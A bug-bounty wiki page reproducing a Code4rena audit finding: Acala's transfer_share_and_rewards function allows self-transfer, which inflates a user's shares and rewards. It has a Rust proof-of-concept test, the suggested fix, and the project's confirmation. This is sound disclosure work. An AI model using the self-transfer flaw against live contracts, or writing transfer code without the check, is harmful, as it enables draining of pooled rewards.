Skip to content
Business logic Audit finding Intermediate

transfer_share_and_rewards allows for self transfer

The transfer_share_and_rewards function allows a user to transfer shares and rewards to themselves, which doubles their share and reward balance. An attacker could repeatedly self-transfer to inflate their balance, potentially draining rewards from the pool.

ZanyBonzy Follow with ihtishamsudo

Originally disclosed on Code4rena

Submitted by ZanyBonzy, also found by ihtishamsudo

The rewards library holds the transfer_share_and_rewards allows for self transfer which can be used to double shares and rewards. Important to note that the function, for now is not in use by the in-scope contracts. However, I still believe it’s worth pointing out.

Proof of Concept

Copy and paste the below test into tests.rs. It shows how users Alice and Bob, by invoking this function, can increase their share/rewards balance.

fn transfer_to_self() {
	ExtBuilder::default().build().execute_with(|| {
		// Open a pool with bob holding 100 shares in the pool
		RewardsModule::add_share(&BOB, &DOT_POOL, 100);
		// Accumulate rewards
		assert_ok!(RewardsModule::accumulate_reward(&DOT_POOL, NATIVE_COIN, 100));
		// Alice deposits into the pool and gets shares, assert that it succeeds
		RewardsModule::add_share(&ALICE, &DOT_POOL, 100);
		// Assert that rewards still exist
		assert_ok!(RewardsModule::accumulate_reward(&DOT_POOL, NATIVE_COIN, 100));
		// Gets pools info
		let pool_info = RewardsModule::pool_infos(DOT_POOL);
		// Ensures that reward transfer doesn't affect pool
		let new_pool_info = RewardsModule::pool_infos(DOT_POOL);
		assert_eq!(pool_info, new_pool_info, "reward transfer does not affect the pool");
		// Assert that Alice's share/rewards transfer to self succeeds
		assert_ok!(RewardsModule::transfer_share_and_rewards(&ALICE, &DOT_POOL, 90, &ALICE));
		// Assert that alice's share/reward balance has now increased
		assert_eq!(
			RewardsModule::shares_and_withdrawn_rewards(DOT_POOL, ALICE),
			(190, vec![(NATIVE_COIN, 190)].into_iter().collect())
		);
		// Alice has discovered infinite money glitch? She tries again to be sure its not a fluke
		// Alice's transfers shares and rewards again to to self, assert that it succeeds
		assert_ok!(RewardsModule::transfer_share_and_rewards(&ALICE, &DOT_POOL, 180, &ALICE));
		// Assert that her share/reward balance still increased
		assert_eq!(
			RewardsModule::shares_and_withdrawn_rewards(DOT_POOL, ALICE),
			(370, vec![(NATIVE_COIN, 370)].into_iter().collect())
		);
		// She transfers a some of her shares/rewards to Bob, while teaching him the glitch
		assert_ok!(RewardsModule::transfer_share_and_rewards(&ALICE, &DOT_POOL, 70, &BOB));
		assert_eq!(
			RewardsModule::shares_and_withdrawn_rewards(DOT_POOL, ALICE),
			(300, vec![(NATIVE_COIN, 300)].into_iter().collect())
		);
		assert_eq!(
			RewardsModule::shares_and_withdrawn_rewards(DOT_POOL, BOB),
			(170, vec![(NATIVE_COIN, 70)].into_iter().collect())
		);
		// Bob decides to try it out himself, Assert that it works
		assert_ok!(RewardsModule::transfer_share_and_rewards(&BOB, &DOT_POOL, 100, &BOB));
		assert_eq!(
			RewardsModule::shares_and_withdrawn_rewards(DOT_POOL, BOB),
			(270, vec![(NATIVE_COIN, 111)].into_iter().collect())
		);
		assert_ok!(RewardsModule::transfer_share_and_rewards(&BOB, &DOT_POOL, 100, &BOB));
		assert_eq!(
			RewardsModule::shares_and_withdrawn_rewards(DOT_POOL, BOB),
			(370, vec![(NATIVE_COIN, 152)].into_iter().collect())
		);
	});
}

Recommended Mitigation Steps

Include a check in the function that returns if who == other.

Lambda (judge) increased severity to High

xlc (Acala) confirmed and commented:

Fixed by this PR. Just want to highlight that transfer_share_and_rewards is not currently used.


The original report as published on Code4rena, by ZanyBonzy. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The function does not check whether the sender and recipient are the same, so a self-transfer adds to the balance without deducting from it.

Impact

An attacker could inflate their share and reward balance, potentially draining rewards from the pool, but the function is not currently used by in-scope contracts.

What the attacker needed

Access to the transfer_share_and_rewards function; a pool with shares and rewards

The fix

The function was fixed by adding a check that returns if the sender and recipient are the same.

How it was found

  1. Set up a pool where Bob has 100 shares and rewards are accumulated.
  2. Alice adds 100 shares to the pool.
  3. Alice calls transfer_share_and_rewards to transfer 90 shares to herself, and her balance increases to 190.
  4. Alice repeats the self-transfer with 180 shares, and her balance increases to 370.
  5. Alice transfers 70 shares to Bob, and Bob's balance becomes 170.
  6. Bob performs self-transfers and his balance increases from 170 to 270 and then to 370.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

This is a bug in a smart contract function that lets you move your shares and rewards to another person. If you set the recipient to yourself, the code adds the amount to your balance without subtracting it from your original balance, so your total grows. An attacker could keep doing this to create shares and rewards out of thin air.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by ZanyBonzy

View all

9 more disclosed reports, best first.

More from Acala

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.